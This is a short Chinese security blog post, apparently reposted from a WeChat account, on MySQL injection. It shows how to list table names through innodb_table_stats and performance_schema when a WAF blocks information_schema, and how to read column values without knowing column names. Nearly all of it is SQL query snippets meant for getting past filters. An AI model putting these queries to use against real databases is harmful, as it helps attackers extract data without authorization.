【奇技淫巧】MySQL另类方法获取元数据信息

admin 2021年8月12日03:47:11评论45 views字数 861阅读2分52秒阅读模式

【奇技淫巧】MySQL另类方法获取元数据信息

问:在进行MySQL注入时,我们通常是通过information_schema元数据来获取表名、字段名信息,从而读取相应数据。但是如果waf或其它过滤了information_schema关键字,那么还有什么方法可以读取元数据信息呢?

答:从MySQL5.5开始,默认存储引擎称为InnoDB,但是在MySQL5.6及更高版本中,InnoDB创建了2个新表。innodb_index_stats和innodb_table_stats。这两个表都包含所有新创建数据库名及表名。

select * from mysql.innodb_table_stats;

【奇技淫巧】MySQL另类方法获取元数据信息

select * from mysql.innodb_index_stats;

【奇技淫巧】MySQL另类方法获取元数据信息

select table_name from mysql.innodb_table_stats where database_name=schema();

【奇技淫巧】MySQL另类方法获取元数据信息



performance_schema方法:

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();

【奇技淫巧】MySQL另类方法获取元数据信息



表名知道了,那如何提取列名呢?根本不需要

探测字段个数,当然你也可以用order by, group_by:

select (select*from users limit 1)=(select 1);
select (select*from users limit 1)=(select 1, 2);

提取指定字段值:

select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);

【奇技淫巧】MySQL另类方法获取元数据信息



发表于国外最近某篇文章,觉得不错,实验了下发出来。



【奇技淫巧】MySQL另类方法获取元数据信息

本文始发于微信公众号(T00ls):【奇技淫巧】MySQL另类方法获取元数据信息

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月12日03:47:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【奇技淫巧】MySQL另类方法获取元数据信息http://cn-sec.com/archives/348532.html

发表评论

匿名网友 填写信息